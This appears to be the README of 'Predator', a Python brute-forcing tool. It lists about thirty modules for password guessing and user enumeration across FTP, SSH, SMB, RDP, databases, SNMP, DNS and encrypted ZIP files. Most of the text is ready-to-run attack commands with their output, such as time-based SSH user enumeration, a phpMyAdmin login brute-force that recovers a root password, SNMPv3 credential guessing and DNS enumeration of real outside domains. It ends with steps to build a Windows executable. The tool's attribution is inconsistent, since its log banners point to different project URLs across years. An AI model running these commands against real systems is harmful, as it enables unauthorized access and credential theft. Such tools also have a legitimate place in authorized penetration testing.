Predator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Predator is a multi-threaded tool written in Python, that strives to be more reliable and flexible than his fellow predecessors.
Currently it supports the following modules:
* ftp_login : Brute-force FTP
* ssh_login : Brute-force SSH
* telnet_login : Brute-force Telnet
* smtp_login : Brute-force SMTP
* smtp_vrfy : Enumerate valid users using the SMTP VRFY command
* smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command
* finger_lookup : Enumerate valid users using Finger
* http_fuzz : Brute-force HTTP/HTTPS
* pop_login : Brute-force POP
* pop_passd : Brute-force poppassd (not POP3)
* imap_login : Brute-force IMAP
* ldap_login : Brute-force LDAP
* smb_login : Brute-force SMB
* smb_lookupsid : Brute-force SMB SID-lookup
* rlogin_login : Brute-force rlogin
* vmauthd_login : Brute-force VMware Authentication Daemon
* mssql_login : Brute-force MSSQL
* oracle_login : Brute-force Oracle
* mysql_login : Brute-force MySQL
* mysql_query : Brute-force MySQL queries
* rdp_login : Brute-force RDP (NLA)
* pgsql_login : Brute-force PostgreSQL
* vnc_login : Brute-force VNC
* dns_forward : Brute-force DNS
* dns_reverse : Brute-force DNS (reverse lookup subnets)
* ike_enum : Enumerate IKE transforms
* snmp_login : Brute-force SNMPv1/2 and SNMPv3
* unzip_pass : Brute-force the password of encrypted ZIP files
* keystore_pass : Brute-force the password of Java keystore files
* umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
Predator is NOT script-kiddie friendly, please read the README inside predator.py before reporting.
@CybernetiX-S3C
- FTP : Enumerating users denied login in vsftpd/userlist
$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
19:36:06 predator INFO - Starting predator v1.4-beta (https://github.com/CybernetiX-S3C/predator) at 2015-02-08 19:36 AEDT
19:36:06 predator INFO -
19:36:06 predator INFO - code size time | candidate | num | mesg
19:36:06 predator INFO - -----------------------------------------------------------------------------
19:36:07 predator INFO - 230 17 0.002 | anonymous | 7 | Login successful.
19:36:07 predator INFO - 230 17 0.001 | ftp | 10 | Login successful.
19:36:08 predator INFO - 530 18 1.000 | root | 1 | Permission denied.
19:36:17 predator INFO - 530 18 1.000 | michael | 50 | Permission denied.
19:36:36 predator INFO - 530 18 1.000 | robert | 93 | Permission denied.
...
Tested against vsftpd-3.0.2-9 on CentOS 7.0-1406
- SSH : Time-based user enumeration
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 predator INFO - Starting predator v1.4-beta (https://github.com/CybernetiX-S3C/predator) at 2015-02-08 17:45 AEDT
17:45:20 predator INFO -
17:45:20 predator INFO - code size time | candidate | num | mesg
17:45:20 predator INFO - -----------------------------------------------------------------------------
17:45:30 predator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 predator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 predator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Tested against openssh-server 1:6.0p1-4+deb7u2 on Debian 7.8
- HTTP : Brute-force phpMyAdmin logon
$ http_fuzz url=http://10.0.0.1/pma/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&target=index.php&lang=en&token=' 0=combos.txt before_urls=http://10.0.0.1/pma/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf
11:53:47 predator INFO - Starting predator v1.4-beta (http://code.google.com/p/predator/) at 2014-08-31 11:53 EST
11:53:47 predator INFO -
11:53:47 predator INFO - code size:clen time | candidate | num | mesg
11:53:47 predator INFO - -----------------------------------------------------------------------------
11:53:48 predator INFO - 200 49585:0 0.150 | root:p@ssw0rd | 26 | HTTP/1.1 200 OK
11:53:51 predator INFO - 200 13215:0 0.351 | root: | 72 | HTTP/1.1 200 OK
^C
11:53:54 predator INFO - Hits/Done/Skip/Fail/Size: 2/198/0/0/3000, Avg: 29 r/s, Time: 0h 0m 6s
11:53:54 predator INFO - To resume execution, pass --resume 15,15,15,16,15,36,15,16,15,40
Payload #72 was a false positive due to an unexpected error message:
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Tested against phpMyAdmin 4.2.7.1.
- IKE : Enumerate transforms supported by VPN peer
# ike_enum host=10.0.0.1 transform=MOD0 0=TRANS aggressive=RANGE1 1=int:0-1 -x ignore:fgrep='NO-PROPOSAL'
16:52:58 predator INFO - Starting predator v1.4-beta (https://github.com/CybernetiX-S3C/predator) at 2015-04-05 16:52 AEST
16:52:58 predator INFO -
16:52:58 predator INFO - code size time | candidate | num | mesg
16:52:58 predator INFO - -----------------------------------------------------------------------------
16:53:03 predator INFO - 0 70 0.034 | 5,1,1,2:0 | 1539 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Main)
16:53:03 predator INFO - 0 72 0.031 | 5,1,65001,2:0 | 1579 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH (Main)
16:53:03 predator INFO - 0 76 0.033 | 5,1,1,2:1 | 1540 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Aggressive)
16:53:03 predator INFO - 0 78 0.034 | 5,1,65001,2:1 | 1580 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH (Aggressive)
16:53:06 predator INFO - 0 84 0.034 | 7/128,2,1,2:0 | 2371 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Main)
16:53:06 predator INFO - 0 90 0.033 | 7/128,2,1,2:1 | 2372 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Aggressive)
16:53:06 predator INFO - 0 86 0.034 | 7/128,2,65001,2:0 | 2411 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH (Main)
16:53:06 predator INFO - 0 92 0.035 | 7/128,2,65001,2:1 | 2412 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH (Aggressive)
+ 10.0.0.1:500 (Main Mode)
Encryption Hash Auth Group
---------- ---------- ---------- ----------
3DES MD5 PSK modp1024
3DES MD5 XAUTH modp1024
AES128 SHA1 PSK modp1024
AES128 SHA1 XAUTH modp1024
+ 10.0.0.1:500 (Aggressive Mode)
Encryption Hash Auth Group
---------- ---------- ---------- ----------
3DES MD5 PSK modp1024
3DES MD5 XAUTH modp1024
AES128 SHA1 PSK modp1024
AES128 SHA1 XAUTH modp1024
16:53:11 predator INFO - Hits/Done/Skip/Fail/Size: 8/3840/0/0/3840, Avg: 284 r/s, Time: 0h 0m 13s
- SNMPv3 : Find valid usernames
$ snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName
17:51:06 predator INFO - Starting predator v1.4-beta
17:51:06 predator INFO -
17:51:06 predator INFO - code size | candidate | num | mesg
17:51:06 predator INFO - ----------------------------------------------------------------------
17:51:11 predator INFO - 0-0 11 | robert | 55 | wrongDigest
17:51:12 predator INFO - Progress: 20% (70/345) | Speed: 10 r/s | ETC: 17:51:38 (00:00:26 remaining)
17:51:33 predator INFO - 0-0 11 | myuser | 311 | wrongDigest
17:51:36 predator INFO - Hits/Done/Skip/Fail/Size: 2/345/0/0/345, Avg: 11 r/s, Time: 0h 0m 30s
- SNMPv3 : Find valid passwords
$ snmp_login host=10.0.0.1 version=3 user=robert auth_key=FILE0 0=passwords_8+.txt -x ignore:mesg=wrongDigest
17:52:15 predator INFO - Starting predator v1.4-beta
17:52:15 predator INFO -
17:52:15 predator INFO - code size | candidate | num | mesg
17:52:15 predator INFO - ----------------------------------------------------------------------
17:52:16 predator INFO - 0-0 69 | password123 | 16 | Linux thug 2.6.36-gentoo #5 SMP Fri Aug 12 14:49:51 CEST 2011 i686
17:52:17 predator INFO - Hits/Done/Skip/Fail/Size: 1/50/0/0/50, Avg: 38 r/s, Time: 0h 0m 1s
- DNS : Forward lookup
$ dns_forward name=FILE0.hsc.fr 0=names.txt -x ignore:code=3
03:18:46 predator INFO - Starting predator v1.4-beta (http://code.google.com/p/predator/) at 2012-06-29 03:18 PMT
03:18:46 predator INFO -
03:18:46 predator INFO - code size | candidate | num | mesg
03:18:46 predator INFO - ----------------------------------------------------------------------
03:18:46 predator INFO - 0 41 | www | 4 | NOERROR [www.hsc.fr. IN A 217.174.211.25]
03:18:46 predator INFO - 0 81 | mail | 32 | NOERROR [mail.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 predator INFO - 0 44 | webmail | 62 | NOERROR [webmail.hsc.fr. IN A 192.70.106.95]
03:18:46 predator INFO - 0 93 | test | 54 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
03:18:46 predator INFO - 0 40 | wap | 66 | NOERROR [wap.hsc.fr. IN A 192.70.106.33]
03:18:46 predator INFO - 0 85 | extranet | 131 | NOERROR [extranet.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 predator INFO - 0 81 | news | 114 | NOERROR [news.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 predator INFO - 0 93 | mailhost | 137 | NOERROR [mailhost.hsc.fr. IN A 192.70.106.33][mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd]
03:18:46 predator INFO - 0 47 | lists | 338 | NOERROR [lists.hsc.fr. IN MX 10 itesec.hsc.fr.]
03:18:46 predator INFO - 0 93 | fr | 319 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
03:18:47 predator INFO - 0 40 | gl | 586 | NOERROR [gl.hsc.fr. IN A 192.70.106.103]
Records ------------------------------------------
extranet.hsc.fr. IN CNAME itesec.hsc.fr.
gl.hsc.fr. IN A 192.70.106.103
hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600
itesec.hsc.fr. IN A 192.70.106.33
lists.hsc.fr. IN MX 10 itesec.hsc.fr.
mail.hsc.fr. IN CNAME itesec.hsc.fr.
mailhost.hsc.fr. IN A 192.70.106.33
mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd
news.hsc.fr. IN CNAME itesec.hsc.fr.
wap.hsc.fr. IN A 192.70.106.33
webmail.hsc.fr. IN A 192.70.106.95
www.hsc.fr. IN A 217.174.211.25
Hostmap ------------------------------------------
mailhost.hsc.fr 2001:7a8:1155:2::abcd
mailhost.hsc.fr 192.70.106.33
wap.hsc.fr 192.70.106.33
itesec.hsc.fr 192.70.106.33
extranet.hsc.fr
mail.hsc.fr
news.hsc.fr
webmail.hsc.fr 192.70.106.95
gl.hsc.fr 192.70.106.103
www.hsc.fr 217.174.211.25
Domains ------------------------------------------
hsc.fr 10
Networks -----------------------------------------
2001:7a8:1155:2::abcd
192.70.106.x
217.174.211.25
03:18:53 predator INFO - Hits/Done/Skip/Fail/Size: 11/1000/0/0/1000, Avg: 133 r/s, Time: 0h 0m 7s
Also notice that test.hsc.fr. is the start of a new zone because we got NOERROR and no IP address.
- DNS : Reverse lookup two netblocks owned by Google
$ dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
03:24:22 predator INFO - Starting predator v1.4-beta (http://code.google.com/p/predator/) at 2012-06-29 03:24 PMT
03:24:22 predator INFO -
03:24:22 predator INFO - code size | candidate | num | mesg
03:24:22 predator INFO - ----------------------------------------------------------------------
03:24:22 predator INFO - 0 46 | 216.239.32.10 | 11 | NOERROR [216.239.32.10 IN PTR ns1.google.com.]
03:24:22 predator INFO - 0 45 | 216.239.32.11 | 12 | NOERROR [216.239.32.11 IN PTR ns.google.com.]
03:24:22 predator INFO - 0 48 | 216.239.32.15 | 16 | NOERROR [216.239.32.15 IN PTR time1.google.com.]
03:24:23 predator INFO - 0 47 | 216.239.33.5 | 262 | NOERROR [216.239.33.5 IN PTR proxy.google.com.]
03:24:23 predator INFO - 0 47 | 216.239.33.12 | 269 | NOERROR [216.239.33.12 IN PTR dns1.google.com.]
03:24:23 predator INFO - 0 51 | 216.239.33.22 | 279 | NOERROR [216.239.33.22 IN PTR transfer.google.com.]
03:24:23 predator INFO - 0 50 | 216.239.33.20 | 277 | NOERROR [216.239.33.20 IN PTR esc-out.google.com.]
03:24:23 predator INFO - 0 46 | 216.239.34.10 | 523 | NOERROR [216.239.34.10 IN PTR ns2.google.com.]
03:24:23 predator INFO - 0 48 | 216.239.34.15 | 528 | NOERROR [216.239.34.15 IN PTR time2.google.com.]
^C
Records ------------------------------------------
216.239.32.10 IN PTR ns1.google.com.
216.239.32.11 IN PTR ns.google.com.
216.239.32.15 IN PTR time1.google.com.
216.239.33.12 IN PTR dns1.google.com.
216.239.33.20 IN PTR esc-out.google.com.
216.239.33.22 IN PTR transfer.google.com.
216.239.33.5 IN PTR proxy.google.com.
216.239.34.10 IN PTR ns2.google.com.
216.239.34.15 IN PTR time2.google.com.
Hostmap ------------------------------------------
ns1.google.com 216.239.32.10
ns.google.com 216.239.32.11
time1.google.com 216.239.32.15
proxy.google.com 216.239.33.5
dns1.google.com 216.239.33.12
esc-out.google.com 216.239.33.20
transfer.google.com 216.239.33.22
ns2.google.com 216.239.34.10
time2.google.com 216.239.34.15
Domains ------------------------------------------
google.com 9
Networks -----------------------------------------
216.239.32.x
216.239.33.x
216.239.34.x
03:24:29 predator INFO - Hits/Done/Skip/Fail/Size: 9/872/0/0/4352, Avg: 115 r/s, Time: 0h 0m 7s
03:24:29 predator INFO - To resume execution, pass --resume 91,75,93,73,84,95,94,95,83,89
- ZIP : Crack a password-protected ZIP file (older pkzip encryption used not to be supported in JtR)
$ unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0
10:54:29 predator INFO - Starting predator v1.4-beta (http://code.google.com/p/predator/) at 2012-06-29 10:54:29 PMT
10:54:29 predator INFO -
10:54:29 predator INFO - code size | candidate | num | mesg
10:54:29 predator INFO - ----------------------------------------------------------------------
10:54:30 predator INFO - 0 82 | love | 387 | 0 [82] No errors detected in compressed data of challenge1.zip.
^C
10:54:31 predator INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s
10:54:31 predator INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154
Install python-2.7.9.msi from Python.
Install pywin32-219.win32-py2.7.exe from PyWin32.
Install vcredist_x86.exe from Microsoft.
Install Git-1.9.5.exe from Git (and select "Use Git from Windows Command Prompt" during install).
Add c:\Python27;c:\Python27\Scripts to your PATH.
pip install pycrypto pyopenssl
pip install impacket
pip install paramiko
pip install IPy
pip install dnspython
cd c:\
git clone https://github.com/CybernetiX-S3C/predator
git clone https://github.com/pyinstaller/pyinstaller
cd pyinstaller
git checkout a2b0617251ebe70412f6e3573f00a49ce08b7b32 # fixes this issue: https://groups.google.com/forum/#!topic/pyinstaller/6xD75_w4F-c
python pyinstaller.py --clean --onefile c:\predator\predator.py
predator\dist\predator.exe -h
The resulting stand-alone predator.exe executable was confirmed to run successfully on Windows 2003 (5.2.3790), Windows 7 (6.1.7600), Windows 2008 R2 SP1 (6.1.7601) and Windows 2012 R2 (6.3.9600), and is likely to work fine on other Windows versions.